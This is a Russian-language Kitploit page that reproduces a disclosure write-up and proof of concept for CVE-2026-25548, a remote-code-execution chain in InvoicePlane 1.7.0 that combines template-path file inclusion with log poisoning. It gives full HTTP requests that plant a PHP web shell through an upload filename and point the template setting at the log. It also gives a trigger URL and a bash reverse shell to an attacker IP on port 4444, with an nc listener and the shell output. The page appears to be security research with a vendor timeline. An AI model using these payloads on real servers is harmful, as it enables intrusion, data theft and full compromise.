Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25548 — # CVE-2026-25548 — Подробный технический разбор и PoC Подробный технический разбор и proof-of-concept для CVE-2026-25548 — критической RCE-уязвимости в InvoicePlane 1.7.0 через LFI и отравление логов, включая цепочку атаки, PoC-запросы и анализ воздействия. | Kitploit
Инструменты/GitHubGitHub/lagathos/cve-2026-25548
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

# CVE-2026-25548 — Подробный технический разбор и PoC Подробный технический разбор и proof-of-concept для CVE-2026-25548 — критической RCE-уязвимости в InvoicePlane 1.7.0 через LFI и отравление логов, включая цепочку атаки, PoC-запросы и анализ воздействия.

Репозиторий
15 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25548 — Удалённое выполнение кода в InvoicePlane 1.7.0

Уязвимость: Удалённое выполнение кода через локальное включение файлов (LFI) + отравление журналов (Log Poisoning)

Продукт: InvoicePlane

Затронутая версия: 1.7.0 (и, вероятно, более ранние версии)

Критичность: Критическая

Оценка CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

Обнаружил: Leonidas Agathos

Дата отчёта: 2026-01-31


Содержание

  • Описание
  • Детали уязвимости
    • 1. Локальное включение файлов (LFI)
    • 2. Отравление журналов через имя загружаемого файла
  • Цепочка атаки
Доказательство концепции
  • Шаг 1 — Отравление журналов
  • Шаг 2 — Настройка LFI
  • Шаг 3 — Запуск RCE
  • Шаг 4 — Обратная оболочка
  • Воздействие
  • Затронутые компоненты
  • Хронология

  • Описание

    Критическая цепочка уязвимостей в InvoicePlane 1.7.0 позволяет аутентифицированному администратору добиться удалённого выполнения кода (RCE) на сервере. Атака объединяет две слабости:

    1. Локальное включение файлов (LFI) — Настройка публичного шаблона счёта принимает произвольные пути к файлам без какой-либо проверки, что позволяет включать файлы за пределами предполагаемого каталога шаблонов.
    2. Отравление журналов — Имена загружаемых файлов, содержащие символы обхода каталога, записываются дословно в .php-файлы журналов CodeIgniter, что позволяет внедрять произвольный PHP-код.

    При объединении этих уязвимостей злоумышленник с правами администратора может полностью скомпрометировать сервер от имени пользователя веб-сервера. Финальный запуск RCE не требует аутентификации (публичный URL счёта).


    Детали уязвимости

    1. Локальное включение файлов (LFI)

    АтрибутЗначение
    Файлapplication/modules/guest/controllers/View.php
    Строки85, 191
    Параметрpublic_invoice_template (настройка базы данных)
    CWECWE-98: Некорректный контроль имени файла для оператора Include/Require

    Уязвимый код (View.php:85):

    root@kitploit:~
    $this->load->view('invoice_templates/public/' .
        get_setting('public_invoice_template') . '.php', $data);
    

    Уязвимый код (View.php:191):

    root@kitploit:~
    $this->load->view('quote_templates/public/' .
        get_setting('public_quote_template') . '.php', $data);
    

    Настройки public_invoice_template и public_quote_template извлекаются из базы данных и напрямую подставляются в путь к файлу, передаваемый в load->view() CodeIgniter (который разрешается в PHP-функцию include()). Отсутствует какая-либо проверка на:

    • Предотвращение последовательностей обхода каталога (../)
    • Белый список допустимых имён шаблонов
    • Подтверждение существования файла в ожидаемом каталоге шаблонов

    Администратор может установить это значение на любой путь в файловой системе, ограниченный только автоматически добавляемым расширением .php.


    2. Отравление журналов через имя загружаемого файла

    АтрибутЗначение
    Файлapplication/modules/upload/controllers/Upload.php
    Строки178–184
    ПараметрИмя загружаемого файла (данные HTTP multipart-формы)
    CWECWE-117: Некорректная нейтрализация вывода для журналов

    Уязвимый код (Upload.php:178-184):

    root@kitploit:~
    private function sanitize_file_name(string $filename): string
    {
        if (str_contains($filename, '..')
            || str_contains($filename, '/')
            || str_contains($filename, '\\')
            || str_contains($filename, "\0")) {
            log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
            return '';
        }
        // ...
    }
    

    Когда имя файла вызывает срабатывание проверки обхода каталога, сырое, неочищенное имя файла записывается непосредственно в файл журнала. Файлы журналов CodeIgniter:

    • Используют расширение .php: application/logs/log-ГГГГ-ММ-ДД.php
    • Начинаются с <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
    • Поэтому являются валидными PHP-файлами, которые выполняются при включении

    Злоумышленник, встраивающий <?php system($_GET[1]); ?> в имя файла, приводит к записи этой полезной нагрузки в журнал и её последующему выполнению через LFI.


    Цепочка атаки

    root@kitploit:~
    [Аутентифицированный пользователь]  →  Загрузка вредоносного имени файла  →  PHP внедрён в файл журнала
    [Администратор]                    →  Установка настройки шаблона          →  LFI указывает на файл журнала
    [Любой пользователь]               →  Посещение публичного URL счёта       →  RCE
    
    ШагТребование
    Отравление журналовАутентифицированный пользователь с доступом к загрузке
    Настройка LFIУчётная запись администратора
    Запуск RCEБез аутентификации (публичный URL счёта)

    Доказательство концепции

    Шаг 1 — Отравление журналов

    Отправьте запрос на загрузку файла с PHP-веб-шеллом, встроенным в имя файла. Проверка обхода каталога сработает и запишет сырое имя файла (включая PHP-полезную нагрузку) в файл журнала.

    Запрос (через Burp Suite):

    root@kitploit:~
    POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
    Host: 172.25.0.12
    Cookie: ip_csrf_cookie=...; ip_session=...
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="_ip_csrf"
    
    <csrf_token>
    ------Boundary
    Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
    Content-Type: image/jpeg
    
    test
    ------Boundary--
    

    Сервер отклоняет загрузку (upload_error_invalid_extension), но запись в журнале уже создана:

    Результат в application/logs/log-2026-01-31.php:

    root@kitploit:~
    ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
    

    Перейдите в раздел Вложения счёта и нажмите Добавить файлы, чтобы получить доступ к конечной точке загрузки.

    Шаг 1a — Точка входа загрузки вложений счёта

    Шаг 1b — Внедрение PHP-полезной нагрузки через вредоносное имя файла

    Шаг 1c — Файл журнала с внедрённой PHP-полезной нагрузкой


    Шаг 2 — Настройка LFI

    Будучи администратором, установите настройку public_invoice_template так, чтобы она указывала на сегодняшний файл журнала, используя полезную нагрузку обхода пути. Загрузчик представлений CodeIgniter автоматически добавляет .php.

    Запрос (через Burp Suite):

    root@kitploit:~
    POST /index.php/settings HTTP/1.1
    Host: 172.25.0.12
    Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="settings[public_invoice_template]"
    
    ../../../logs/log-2026-01-31
    ------Boundary--
    

    Путь обхода разрешается из application/views/invoice_templates/public/ вверх до application/logs/, после чего включается файл log-2026-01-31.php.

    Шаг 2 — Установка public_invoice_template на путь к файлу журнала через Burp Suite


    Шаг 3 — Запуск RCE

    Получите доступ к любому публичному URL счёта с командой, переданной в качестве GET-параметра 1. Аутентификация не требуется.

    Запрос:

    root@kitploit:~
    GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
    Host: 172.25.0.12
    

    Ответ (в исходном коде страницы):

    root@kitploit:~
    Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
    .jpg
    

    Полезная нагрузка system($_GET[1]) выполняет команду id, и её вывод отражается непосредственно на странице.

    Шаг 3 — Вывод команды, отражённый в HTTP-ответе через публичный URL счёта


    Шаг 4 — Обратная оболочка

    Замените команду на полезную нагрузку bash reverse shell, чтобы получить интерактивную оболочку:

    root@kitploit:~
    GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
    

    На машине атакующего:

    root@kitploit:~
    nc -lnvp 4444
    

    Результат:

    root@kitploit:~
    connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
    www-data@0dd592f7a424:~/projects/invoiceplane$
    

    Полноценная интерактивная оболочка от имени www-data.

    Шаг 4 — Установленная обратная оболочка, подтверждающая полный RCE


    Воздействие

    АспектОценкаДетали
    КонфиденциальностьВЫСОКАЯПолный доступ на чтение ко всем файлам, доступным пользователю веб-сервера, включая учётные данные базы данных и данные счетов клиентов
    ЦелостностьВЫСОКАЯПроизвольная запись файлов, модификация базы данных, установка веб-шеллов
    ДоступностьВЫСОКАЯОтказ в обслуживании, развёртывание программ-вымогателей, уничтожение системы

    Затронутые компоненты

    ФайлУязвимость
    application/modules/guest/controllers/View.php:85LFI — Шаблон счёта
    application/modules/guest/controllers/View.php:191LFI — Шаблон предложения
    application/modules/upload/controllers/Upload.php:182Отравление журналов
    application/modules/settings/controllers/Settings.phpОтсутствие проверки настройки шаблона

    Хронология

    ДатаСобытие
    2026-01-30Уязвимость обнаружена
    2026-01-31Разработано доказательство концепции
    2026-01-31Вендор уведомлён
    2026-02-03Подтверждение вендора
    2026-02-03Выпущен патч
    2026-02-04Публичное раскрытие

    Ссылки

    • CWE-98: Некорректный контроль имени файла для оператора Include/Require
    • CWE-117: Некорректная нейтрализация вывода для журналов
    • CWE-94: Некорректный контроль генерации кода
    • OWASP: Обход пути
    • OWASP: Внедрение в журналы
    • CVE-2026-25548

    Отказ от ответственности

    Эта уязвимость была обнаружена в ходе независимого исследования безопасности. Вся информация предоставлена строго в образовательных, исследовательских и защитных целях, чтобы помочь вендору и сообществу специалистов по безопасности понять и устранить проблему. Любое вредоносное использование этой информации строго запрещено.

    Скачать инструмент